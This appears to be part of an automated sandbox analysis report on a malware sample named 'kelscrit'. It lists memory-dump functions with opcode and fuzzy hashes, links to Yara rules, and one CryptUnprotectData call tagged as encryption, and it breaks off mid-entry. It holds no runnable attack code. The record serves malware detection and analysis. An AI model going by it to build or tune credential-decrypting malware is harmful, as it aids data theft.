Function 3AA58EF1 Relevance: 1.6, APIs: 1, Instructions: 53encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3AA58F5D

Memory Dump Source

Source File: 00000004.00000002.2947371105.000000003AA50000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AA50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aa50000_kelscrit.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: a2139ba6a38538d2d5dd306d609ee8ae17eec757c8366d26e77fd0965c44c758
Instruction ID: 62422a70e4cdd820b6742894a450ea193f62accd216157520ecf983517c4e4ec
Opcode Fuzzy Hash: a2139ba6a38538d2d5dd306d609ee8ae17eec757c8366d26e77fd0965c44c758
Instruction Fuzzy Hash: 4A1167B6800249DFDB10CF99C904BEEBFF5EF48320F14841AE968A7210C339A954DFA5

Function 3AAFD710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89ed08d91c48244ad5d0d22ca06daa08905db363ea12ff1c12c0a3d9d78505e6
Instruction ID: 95e1195e6d689a99ea3a89ee6bb6a4d9abc239923038f3f0456830dbf5f7a4f3
Opcode Fuzzy Hash: 89ed08d91c48244ad5d0d22ca06daa08905db363ea12ff1c12c0a3d9d78505e6
Instruction Fuzzy Hash: 6D825C74E012688FDB65DF69CD94BDDBBB2BB89300F1081E9A90DA7265DB315E81CF40

Function 3A050B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2946917329.000000003A050000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a050000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94b65628dbcaad3306c57a196cc55e4da7592dc0ec4a5a92a4c4e87480d594d5
Instruction ID: 93b9dd7aa5d3eda6f6f846668edda100f116d278a6e62eb1add54dcc8d4719b0
Opcode Fuzzy Hash: 94b65628dbcaad3306c57a196cc55e4da7592dc0ec4a5a92a4c4e87480d594d5
Instruction Fuzzy Hash: 9372BD74E052298FDB64DF69C994BDDBBB2BB49300F1491E9D808A7355DB30AE81CF90

Function 3AAFEE48 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed787aaee01689deb1476a7f79050a1ceea794cd4cefd71285c14a0dd85af2d
Instruction ID: 434ac5ea6ccd48f5209061724d1760f52f2046aaa09e712066fcb582c75a89fc
Opcode Fuzzy Hash: 7ed787aaee01689deb1476a7f79050a1ceea794cd4cefd71285c14a0dd85af2d
Instruction Fuzzy Hash: 97727D74E012688FDB65DF69CD94BDDBBB2BB89300F1081E9A80DA7265DB315E81CF41

Function 3AA57B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947371105.000000003AA50000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AA50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aa50000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b58d08d774fccdba02f8f22f91c632e5c07eedfa146d8ca7cd2bcf149bcc7cc
Instruction ID: 8b5ab1f122e55aed4d7998e6ed868ab57796fe18499214fcb52cee828ada6d0d
Opcode Fuzzy Hash: 8b58d08d774fccdba02f8f22f91c632e5c07eedfa146d8ca7cd2bcf149bcc7cc
Instruction Fuzzy Hash: 91E1C074E01218CFEB54DFA5C984B9DBBB2BF89304F2081A9D818BB391DB355A85CF54

Function 3AAC6678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947414504.000000003AAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aac0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fa6097e32f4fd7810d63709edd34de3519e8dcaea127527b2badd8c61b06fd3
Instruction ID: a4c622a8d294fadcbda39b3ba3f31bd2198a73d80d093969156119f4b78c5c4a
Opcode Fuzzy Hash: 6fa6097e32f4fd7810d63709edd34de3519e8dcaea127527b2badd8c61b06fd3
Instruction Fuzzy Hash: 8AD1AE75E00218CFDB55DFA5C984B9DBBB2BF89300F2081A9D809AB355EB359E85CF50

Function 3AB01CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947496356.000000003AB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab00000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dfb2a2f87049fdbd4da228c8f80ab39f54b5e0c61dc7f58f821db1eb268b0ec
Instruction ID: 1167123243b7c6a2761728800899da4eac17f1fd7ddf5522eff3bed62f6f7218
Opcode Fuzzy Hash: 8dfb2a2f87049fdbd4da228c8f80ab39f54b5e0c61dc7f58f821db1eb268b0ec
Instruction Fuzzy Hash: E3D1AF74E00218CFDB55DFA5C984B9DBBB2BF89300F2081A9D809AB355EB359E85DF50

Function 3AA58FB0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947371105.000000003AA50000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AA50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aa50000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92a31c7e3fed1d4b68ccd4ee5c416563d1485b445f664939d5ac05cefcc73ae2
Instruction ID: 0ecf55702820ec0375aa9aa1df122920a506b37d6a93ef466202b666f9e86075
Opcode Fuzzy Hash: 92a31c7e3fed1d4b68ccd4ee5c416563d1485b445f664939d5ac05cefcc73ae2
Instruction Fuzzy Hash: 33D19C78E00218CFDB54DFA5C984B9DBBB2BF89300F2080A9D808AB755DB315E86CF55

Function 3AAC4D98 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947414504.000000003AAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aac0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96c1a7e00abef070954e1d3a2a881c568f38763e41350373f64f75981609373a
Instruction ID: 1993efdade8b8618f64ab1af4bfa497635a9834b6dca0dbcba5dca97d1979d60
Opcode Fuzzy Hash: 96c1a7e00abef070954e1d3a2a881c568f38763e41350373f64f75981609373a
Instruction Fuzzy Hash: D8D1AE78E00218CFDB54DFA5C984B9DBBB2AF89300F2081A9D809BB755DB715E86CF51

Function 3A05E258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2946917329.000000003A050000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a050000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5dcc66864e4b9d1f883d5717dd064eb73de6ce3a55165c17029ed619f31ae02
Instruction ID: 3ccdbf27148b8aa1515f4c069f88c70e44ce3f9d846aebc46c67cd0e8a6d6525
Opcode Fuzzy Hash: e5dcc66864e4b9d1f883d5717dd064eb73de6ce3a55165c17029ed619f31ae02
Instruction Fuzzy Hash: EBC1AF74E14218CFDB54DFA5C984B9DBBB2BF89300F2081A9D809AB355DB359E86CF50

Function 3A052968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2946917329.000000003A050000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a050000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27f521e3fc4186c4e54a7b4622d502d84ec280c35ecce22bb64850e9bee87193
Instruction ID: 08de7065d89928b1c93c25196ca9b792b437b6bdd51a8b79a857ff2d631535b5
Opcode Fuzzy Hash: 27f521e3fc4186c4e54a7b4622d502d84ec280c35ecce22bb64850e9bee87193
Instruction Fuzzy Hash: 68C1B174E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E86CF50

Function 3A052DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2946917329.000000003A050000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a050000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b14e3777dfac612aabebf88b9cdbd4544f284ccb0a0d157397d841f448ce136a
Instruction ID: 61064e71c9925399ab153be4fc9ab6671ee2c73c680564438361653c2c8bd49b
Opcode Fuzzy Hash: b14e3777dfac612aabebf88b9cdbd4544f284ccb0a0d157397d841f448ce136a
Instruction Fuzzy Hash: 2BA102B0D002088FEB14DFA9C954BDDBBB1FF89304F208269E409AB2A1DB759985CF55

Function 3AB42238 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 641d4d17f6ec1273e81b26901ce255b94c9da5902a869b057c18e44288d86167
Instruction ID: 03016cd5f881a2a064942bb65a2801990e22d3f5af1d220b4ad7da2b2ddb38df
Opcode Fuzzy Hash: 641d4d17f6ec1273e81b26901ce255b94c9da5902a869b057c18e44288d86167
Instruction Fuzzy Hash: 67A192B4E01228CFEB68CF6AC944B9DBBF2BF89300F14C1A9D448A7250DB745A85DF50

Function 3AB42920 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 763b3ad8dd2d756f3fcc151ddd7c86801518b979d34ba7e052886162422d8e16
Instruction ID: 8de51538add5363a8ed4c955bd131bec94af9555e721ab0bebfae050b15d69ee
Opcode Fuzzy Hash: 763b3ad8dd2d756f3fcc151ddd7c86801518b979d34ba7e052886162422d8e16
Instruction Fuzzy Hash: EEA192B5E01229DFEB68CF6AC944B9DBBF2BF89300F14C1A9D448A7250DB345A85DF50

Function 3AB40D88 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c560fd138b8b45532c5ac93feb51d752e51e4df1f5eef70368cfefb16fcbcf1
Instruction ID: eb25d552808b6e15577713420e9bee6b9cc05040a1668fe8a736aaf60b763c83
Opcode Fuzzy Hash: 4c560fd138b8b45532c5ac93feb51d752e51e4df1f5eef70368cfefb16fcbcf1
Instruction Fuzzy Hash: 67A182B5E012298FEB68CF6AC954B9DBBF2BF89300F14C1A9D408B7250DB345A85DF51

Function 3AB43008 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a79414821bd33d4ad3530b1db8611667685af41542a8a44e12d492851da0f5ac
Instruction ID: a54e37598636dc4748e9997b0d6fc50dcb5cc60ac463406bd469e2914a2f640d
Opcode Fuzzy Hash: a79414821bd33d4ad3530b1db8611667685af41542a8a44e12d492851da0f5ac
Instruction Fuzzy Hash: F2A191B4E01229CFEB68CF6AC944B9DBBF2BF89300F54C1A9D408A7250DB345A85DF51

Function 3AB41B50 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15040378c6e2ffa4037c54031a59372d8ca0a6db2681ea8504f4244c1a2bd83d
Instruction ID: 5fe5375f72ca74c9e16739cc62621337d3eb2e35e35ee865779640fa0ca0c989
Opcode Fuzzy Hash: 15040378c6e2ffa4037c54031a59372d8ca0a6db2681ea8504f4244c1a2bd83d
Instruction Fuzzy Hash: D7A191B4E01628DFEB68CF6AD944BDDBBF2AF89300F14C1A9D408A7250DB345A85DF50

Function 3AB436F0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9078b181972ff9957dbc6d8bb8b9b69a61b1a3b0b32249538853ac01936d9999
Instruction ID: 2f4f745ee0d64b79c4ba6914607aecec252a093b7041bebba9e044cbebbfd761
Opcode Fuzzy Hash: 9078b181972ff9957dbc6d8bb8b9b69a61b1a3b0b32249538853ac01936d9999
Instruction Fuzzy Hash: 79A191B5E01228CFEB68CF6AC944B9DFBF2AF89300F54C1A9D409A7250DB745A85DF50

Function 3AB41470 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7111b7f1aabbe7b952801a79607a8536a3951252e8991f1b79e472f35bc89e
Instruction ID: eeea1887e9e82cb0202d5e8189bbdc2653e1cf9ddfbccfa42f187b26cf14eb51
Opcode Fuzzy Hash: dc7111b7f1aabbe7b952801a79607a8536a3951252e8991f1b79e472f35bc89e
Instruction Fuzzy Hash: 70A192B4E012298FEB68CF6AD944B9DFBF2AF89300F14C1A9D408A7250DB345A85DF51

Function 3A052DC4 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2946917329.000000003A050000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a050000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: badc73c032e9e4d705de4389dbfffe7a2114d95fc90a14996dafa408c3a11e2c
Instruction ID: eaa5ab45d627f3ee34298b6b8e464e24688462fcc1a8227498505b9029b54314
Opcode Fuzzy Hash: badc73c032e9e4d705de4389dbfffe7a2114d95fc90a14996dafa408c3a11e2c
Instruction Fuzzy Hash: F3A11370D002088FEB14DFA9C954BDDBBB1FF89304F208269E409BB2A1DB759985CF54

Function 3A05310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2946917329.000000003A050000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a050000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 725bd04eeae1f1153b8d75a32dcddef7c2d81f5da06a5f6f766fbb5ca7b313e0
Instruction ID: 50b95e51c72d3a3a01342df5d08ea9b22a8f773cdfd9fbbeac8f52498ea57274
Opcode Fuzzy Hash: 725bd04eeae1f1153b8d75a32dcddef7c2d81f5da06a5f6f766fbb5ca7b313e0
Instruction Fuzzy Hash: 09911F74D04208CFEB10DFA9C994B9CBBB1FF49310F2092A9E409BB2A1DB759985CF55

Function 3AAF70C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947476576.000000003AAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aaf0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23969aae9ca8fb26578f9893c90b9ac7c160b4ecd3d83519b6c156e97dd7a212
Instruction ID: 8867a887476a72f6d20b28d2e3c9789ec2f098682fdb078d580089386197fc5c
Opcode Fuzzy Hash: 23969aae9ca8fb26578f9893c90b9ac7c160b4ecd3d83519b6c156e97dd7a212
Instruction Fuzzy Hash: A881B174E00218DFDB05DFAAC980ADDBBB2BF89304F608169E815BB354EB359946CF50

Function 3AB08470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947496356.000000003AB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab00000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d2a9bdb64f53d634e6b6a2ca5f6c86f923a26d4a08056d0a058e393b9acc7f
Instruction ID: bfef0fcc193d24c2ffe91040cda325afa4a327c93d537fdaa6d5209344a9d31a
Opcode Fuzzy Hash: 64d2a9bdb64f53d634e6b6a2ca5f6c86f923a26d4a08056d0a058e393b9acc7f
Instruction Fuzzy Hash: BF81BD74E00218DBDB45DFEAC980A9DBBB2FF88304F208169D815BB359EB355986DF50

Function 3AB41460 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adaae536dfd3fdc9f8a6696bc3a031e5ad930d4f328a11ac265eb6c18d90e8bd
Instruction ID: 1ad637b9a428d4bec4bba60860632c30c3a812ec6f93030260adc9a1daf5d5d5
Opcode Fuzzy Hash: adaae536dfd3fdc9f8a6696bc3a031e5ad930d4f328a11ac265eb6c18d90e8bd
Instruction Fuzzy Hash: F57195B5D016298FEB28CF6AD954B9AFBF2BF89300F14C1E9D408A7254DB744A85CF50

Function 3AB436E1 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc2005a26bdcc0e9c996187aacb1fe3de2cb1fbad25a179b0ec15a8dc089055
Instruction ID: 0eca480166cd544322b33ce159de317f0a15687bfabd9d4dc7bc149df6b58f0c
Opcode Fuzzy Hash: 3bc2005a26bdcc0e9c996187aacb1fe3de2cb1fbad25a179b0ec15a8dc089055
Instruction Fuzzy Hash: 1171A5B5D016289FEB68CF66C954B9EBBF2BF89300F14C1E9D409A7250DB744A85CF50

Function 3AAC6568 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947414504.000000003AAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aac0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fd14c156f7b56699242e60dbcce67f386ea7dd9ce1b3f404a985c103df0cdba
Instruction ID: 0d2ffc6268ac600ec08a94120b280bdd7055a454f06a282866ef29ad084cde4b
Opcode Fuzzy Hash: 6fd14c156f7b56699242e60dbcce67f386ea7dd9ce1b3f404a985c103df0cdba
Instruction Fuzzy Hash: 4851AFB5D042898BEB05CFA5D8606DEFFF6BF8A300F5481ADC455AB222EB344955CF40

Function 0015E97A Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa218d8b1f188d790f6753a566f8310cbe473369cd666d8b5e5c608462713f8b
Instruction ID: 2fd98fb77b2c78834eef869fb87d6f1ad98280828e9be3ddd5f68a1ce0b5d3fe
Opcode Fuzzy Hash: aa218d8b1f188d790f6753a566f8310cbe473369cd666d8b5e5c608462713f8b
Instruction Fuzzy Hash: D451A674E00208DFDB18DFBAD484A9DBBF2BF88300F249129E819AB365DB305946CF54

Function 3AAC6586 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947414504.000000003AAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aac0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f26e23991913643aee1a00ec682af8f5e16108cb670982e5dfc1701a1fdaade
Instruction ID: 4be4120cca9b0d7ccd5a31dc7543849055f1fb56a6fb1141ceeba27a0b47522f
Opcode Fuzzy Hash: 8f26e23991913643aee1a00ec682af8f5e16108cb670982e5dfc1701a1fdaade
Instruction Fuzzy Hash: 0E51AFB5D042898BEB15CFB6D8607DEBFF6AF8A300F5481ADC455AB222EB344955CF40

Function 0015E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2caf45bfc4f6b6d75cc4b75711aa70659e2984aaf66e0d46fa82934ccb8d3d8
Instruction ID: 07e96bf3c925d179e37f17fc626a1cc7b91f559cff47f30a6fa77b58575ed6e8
Opcode Fuzzy Hash: e2caf45bfc4f6b6d75cc4b75711aa70659e2984aaf66e0d46fa82934ccb8d3d8
Instruction Fuzzy Hash: 98519274E00208DFDB18DFBAD894A9DBBF2BF88300F249029E819AB365DB705945CF54

Function 3AB41B3F Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 716922478369cbb4ab508d474016f515c62369e77159676fb45ef9aea36e9ec1
Instruction ID: 369df021567266b698523cc5b1aae9b1c8359981d7af96d4cdb459b507122fec
Opcode Fuzzy Hash: 716922478369cbb4ab508d474016f515c62369e77159676fb45ef9aea36e9ec1
Instruction Fuzzy Hash: A74168B1E016289BEB58CF6BD85479AFAF3AFC9204F14C1AAC40CA7254EB7409858F51

Function 3AB42911 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1c4aae192d90cc49500c506151eb70b0c404002634d3f2ba609b51f4745134b
Instruction ID: c44626186c18cb84ab2fe3004037317121c3d1b42ddc10eae6c45fdee99b904f
Opcode Fuzzy Hash: e1c4aae192d90cc49500c506151eb70b0c404002634d3f2ba609b51f4745134b
Instruction Fuzzy Hash: AB4169B1E016599BEB58CF6BC9447DEFAF3AFC9200F14C1AAC40CA6264DB7409858F51

Function 3AB40D7A Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3047c810d4b25939fe7795a77963b24248ab2bb16c42b32a017471c35bea0277
Instruction ID: 5d3fb010a18044ce963f7ccb1e7ebc111cc66d9db172b4f2ef68df5d6b74b1c5
Opcode Fuzzy Hash: 3047c810d4b25939fe7795a77963b24248ab2bb16c42b32a017471c35bea0277
Instruction Fuzzy Hash: 524158B1E016289BEB58CF6BD9547DEFAF3AFC9304F14C1A9C40CA6254DB7409858F51

Function 3AB42FFA Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7b0c7db3e2773eeba389d1c33202a27f47fcbc773ed4e22afaa596efe8242a5
Instruction ID: bf94fc80e90e2d0eddc826fc8fccdf277fb467353e24c0ab6ad42865a6c846bb
Opcode Fuzzy Hash: e7b0c7db3e2773eeba389d1c33202a27f47fcbc773ed4e22afaa596efe8242a5
Instruction Fuzzy Hash: 814169B1E016188BEB58CF6BC9547DEFAF3AFC9304F14C1A9C40CA6254EB740A858F51

Function 3AB42229 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 166523445f8b5f970fe1ff1aef80316168094582a4c07409fdbf5c48471d3961
Instruction ID: 8aad235dd422b3202a36f08ef88e81186975edc95adafff05f4d5299f2c07127
Opcode Fuzzy Hash: 166523445f8b5f970fe1ff1aef80316168094582a4c07409fdbf5c48471d3961
Instruction Fuzzy Hash: 504178B1E016188BEB58CF6BC94478EFAF3AFC9300F14C1BAC40CA6254EB740A859F51

Function 3AAC4D89 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947414504.000000003AAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aac0000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0283246578f9c6aa4a25e662eda177d227a806eb60e249cb0817b1571d502462
Instruction ID: c9fb7c2174dafca6eb6fb69f5bc86cb41c493af1a1c085d4899c5cd6d9cd42b1
Opcode Fuzzy Hash: 0283246578f9c6aa4a25e662eda177d227a806eb60e249cb0817b1571d502462
Instruction Fuzzy Hash: 9E41E2B1E01248CBEB18DFAAC9546DDFBF2AF89300F24C12AD419BB254EB344946CF44

Function 3AB01CE0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2947496356.000000003AB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab00000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6fbb0077ba45d1129dd6764a85cae79d41a0a0c92f2ea3b53a9aec7e8cd1347
Instruction ID: d00f701dcdd513940a39bb59a0981c06613e5cb85042052dbc4b27ede0b23d8a
Opcode Fuzzy Hash: a6fbb0077ba45d1129dd6764a85cae79d41a0a0c92f2ea3b53a9aec7e8cd1347
Instruction Fuzzy Hash: 1241E5B0E042189BEB18CFAAD9547DDBBF2BF89300F14C16AD418BB255EB345946DF50

Function 001576F1 Relevance: 10.5, Strings: 8, Instructions: 458
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(otq, xrefs: 001577E9
,xq, xrefs: 00157B90
(otq, xrefs: 001578B2
(otq, xrefs: 00157BFF
(otq, xrefs: 00157815
(otq, xrefs: 0015772E
(otq, xrefs: 00157C0F
,xq, xrefs: 00157BA0

Memory Dump Source

